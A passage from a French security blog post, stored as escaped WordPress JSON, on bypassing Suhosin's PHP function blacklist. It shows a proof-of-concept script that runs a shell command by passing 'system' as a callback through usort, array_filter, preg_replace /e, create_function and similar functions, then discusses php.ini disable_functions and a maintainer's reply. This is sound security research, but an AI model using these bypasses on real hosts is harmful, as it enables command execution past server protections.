4.0.6, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_filter(array($cmd), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;usort (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n usort($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;uasort (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n uasort($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_udiff (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_udiff(array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_reduce (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_reduce(array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_uintersect_assoc (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_uintersect_assoc (array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_uintersect_uassoc (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_uintersect_uassoc (array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;eval (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n eval(&amp;amp;amp;amp;amp;amp;quot;system(&#8216;$cmd&#8217;);&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;preg_replace (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n preg_replace(&amp;amp;amp;amp;amp;amp;quot;\/x\/e&amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;quot;system(&#8216;$cmd&#8217;)&amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;quot;x&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;preg_replace_callback (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n preg_replace_callback(&amp;amp;amp;amp;amp;amp;quot;\/$cmd\/&amp;amp;amp;amp;amp;amp;quot;, create_function(&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;$cmds&#8217;,&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;return system($cmds[0]);&#8217;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ),&amp;amp;amp;amp;amp;amp;quot;$cmd&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;create_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.1, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $func = create_function(&#8216;$cmd&#8217;, &#8216;return system($cmd);&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $func($cmd);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;register_shutdown_function (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n register_shutdown_function(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;[\/php]<\/p>\n<p><strong>R\u00e9sultat :<\/strong><\/p>\n<div id=\"attachment_742\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/nativ_php_disable_functions.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-742\" class=\"size-medium wp-image-742\" alt=\"D\u00e9sactivation native dans le php.ini de la fonction system()\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/nativ_php_disable_functions-300x280.png\" width=\"300\" height=\"280\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/nativ_php_disable_functions-300x280.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/nativ_php_disable_functions.png 852w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-742\" class=\"wp-caption-text\">D\u00e9sactivation native dans le php.ini de la fonction system()<\/p><\/div>\n<p>La directive native de PHP applique bien une s\u00e9curit\u00e9 beaucoup plus restrictive que celle de Suhosin.<\/p>\n<h2>Conclusion et \u00e9volutions<\/h2>\n<p>Si Suhosin permet des \u00e9vasions de la sorte pour une liste noire de fonctions, il pourrait \u00eatre int\u00e9ressant de creuser en ce sens pour \u00e9vader d&#8217;autres directives. Je pense notamment \u00e0 &#8220;<a title=\"suhosin.executor.eval.blacklist\" href=\"http:\/\/www.hardened-php.net\/suhosin\/configuration.html#suhosin.executor.eval.blacklist\" target=\"_blank\">suhosin.executor.eval.blacklist<\/a>&#8220;, ou bien m\u00eame &#8220;<a title=\"suhosin.executor.disable_eval\" href=\"http:\/\/www.hardened-php.net\/suhosin\/configuration.html#suhosin.executor.disable_eval\" target=\"_blank\">suhosin.executor.disable_eval<\/a>&#8220;.<\/p>\n<p>A noter que la fonction d&#8217;ex\u00e9cution de commande shell utilis\u00e9e dans les PoC pr\u00e9c\u00e9dents est &#8220;system()&#8221;. Or il existe une multitude de m\u00e9thodes\/fonctions PHP qui permettent d&#8217;arriver \u00e0 des fins similaires. Celles-ci sont d&#8217;ailleurs r\u00e9guli\u00e8rement blacklist\u00e9es chez les h\u00e9bergeurs, et peuvent \u00eatre bypass\u00e9es avec les techniques d\u00e9velopp\u00e9es plus haut. Pour n&#8217;en citer que quelques-unes :<\/p>\n<ul>\n<li><a title=\"shell_exec()\" href=\"http:\/\/www.php.net\/manual\/en\/function.shell-exec.php\" target=\"_blank\">shell_exec()<\/a><\/li>\n<li><a title=\"exec()\" href=\"http:\/\/www.php.net\/manual\/en\/function.exec.php\" target=\"_blank\">exec()<\/a><\/li>\n<li><a title=\"passthru()\" href=\"http:\/\/www.php.net\/manual\/en\/function.passthru.php\" target=\"_blank\">passthru()<\/a><\/li>\n<li><a title=\"popen()\" href=\"http:\/\/www.php.net\/manual\/en\/function.popen.php\" target=\"_blank\">popen()<\/a><\/li>\n<li><a title=\"proc_open()\" href=\"http:\/\/www.php.net\/manual\/en\/function.proc-open.php\" target=\"_blank\">proc_open()<\/a><\/li>\n<\/ul>\n<p>Idem, d&#8217;autres fonctions permettent d&#8217;exploiter des callbacks. Des fonctions natives de PHP mais aussi parmi les objets et classes. Des pistes pour d&#8217;autres PoC pourraient concerner les fonctions <a title=\"uksort\" href=\"http:\/\/www.php.net\/manual\/fr\/function.uksort.php\" target=\"_blank\">uksort<\/a>, <a title=\"array-diff-ukey\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-diff-ukey.php\" target=\"_blank\">array_diff_ukey<\/a>, <a title=\"array-intersect-uassoc\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-intersect-uassoc.php\" target=\"_blank\">array_intersect_uassoc<\/a>, <a title=\"array-intersect-ukey\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-intersect-ukey.php\" target=\"_blank\">array_intersect_ukey<\/a>, etc.<\/p>\n<p>Les techniques d&#8217;\u00e9vasions pr\u00e9c\u00e9dentes de la liste noire Suhosin n&#8217;est bien \u00e9videmment pas exhaustive, d&#8217;autres m\u00e9thodes plus ou moins exotiques peuvent \u00eatre utilis\u00e9es. Si vous connaissez de telles m\u00e9thodes, n&#8217;h\u00e9sitez pas \u00e0 contribuer \u00e0 cet article en me <a title=\"Contact\" href=\"https:\/\/www.asafety.fr\/contact\/\" target=\"_blank\">contactant<\/a>.<\/p>\n<h2>Editions et mises \u00e0 jour<\/h2>\n<p><strong>09 avril 2013 :<\/strong><\/p>\n<p>Apr\u00e8s un \u00e9change de mail avec Stefan Esser du site officiel du module de s\u00e9curit\u00e9, il s&#8217;av\u00e8re que cette faiblesse n&#8217;est pas propre \u00e0 Suhosin mais est intrins\u00e8que \u00e0 PHP. Ce probl\u00e8me de bypass est connu des d\u00e9veloppeurs depuis environs une ann\u00e9e. Il provient d&#8217;une difficult\u00e9 du moteur PHP d&#8217;appeler le <em>hook<\/em> s\u00e9curis\u00e9 des appels de fonctions internes (<em>callback<\/em>). D&#8217;apr\u00e8s Stefan Esser, cette faiblesse est r\u00e9solue dans la version 5.5 de PHP qui n&#8217;est pour l&#8217;heure qu&#8217;au stade de beta.<\/p>\n<p>A noter que le projet Suhosin est quelque peu &#8220;endormi&#8221; en ce moment. Une reprise est pr\u00e9vue \u00e0 partir de mai 2013.<\/p>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"PHP Manual\" href=\"http:\/\/www.php.net\/\" target=\"_blank\">php manual<\/a><\/li>\n<li><a title=\"Suhosin\" href=\"http:\/\/www.hardened-php.net\/suhosin\/\" target=\"_blank\">Suhosin website<\/a><\/li>\n<li><a title=\"Profexer article\" href=\"https:\/\/rdot.org\/forum\/showthread.php?t=2674\" target=\"_blank\">Profexer article on RDot<\/a><\/li>\n<li><a title=\"tour-dhorizon-des-callbacks-en-php\" href=\"http:\/\/blog.lepine.pro\/php\/tour-dhorizon-des-callbacks-en-php\" target=\"_blank\">Tour d\u2019horizon des Callbacks en PHP &#8211; Jean-Fran\u00e7ois L\u00e9pine<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Je suis tomb\u00e9 hier sur un article russe de Profexer fort int\u00e9ressant, qui concerne\u00a0l\u2019outre-passement\u00a0(bypass) de la directive &#8220;suhosin.executor.func.blacklist&#8221; dans les [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1150,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[529,16,14],"tags":[324,323,322,321,317,17,319,320,201,325,318,316,32],"class_list":["post-737","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-privilege-escalation","category-prog-and-dev","category-vuln-exploit-poc","tag-bypass","tag-callback","tag-eval","tag-exec","tag-functions-blacklist","tag-php","tag-popen","tag-proc_open","tag-remote-command-execution","tag-safe-mode","tag-shell_exec","tag-suhosin","tag-system"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/737","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=737"}],"version-history":[{"count":31,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/737\/revisions"}],"predecessor-version":[{"id":1692,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/737\/revisions\/1692"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1150"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}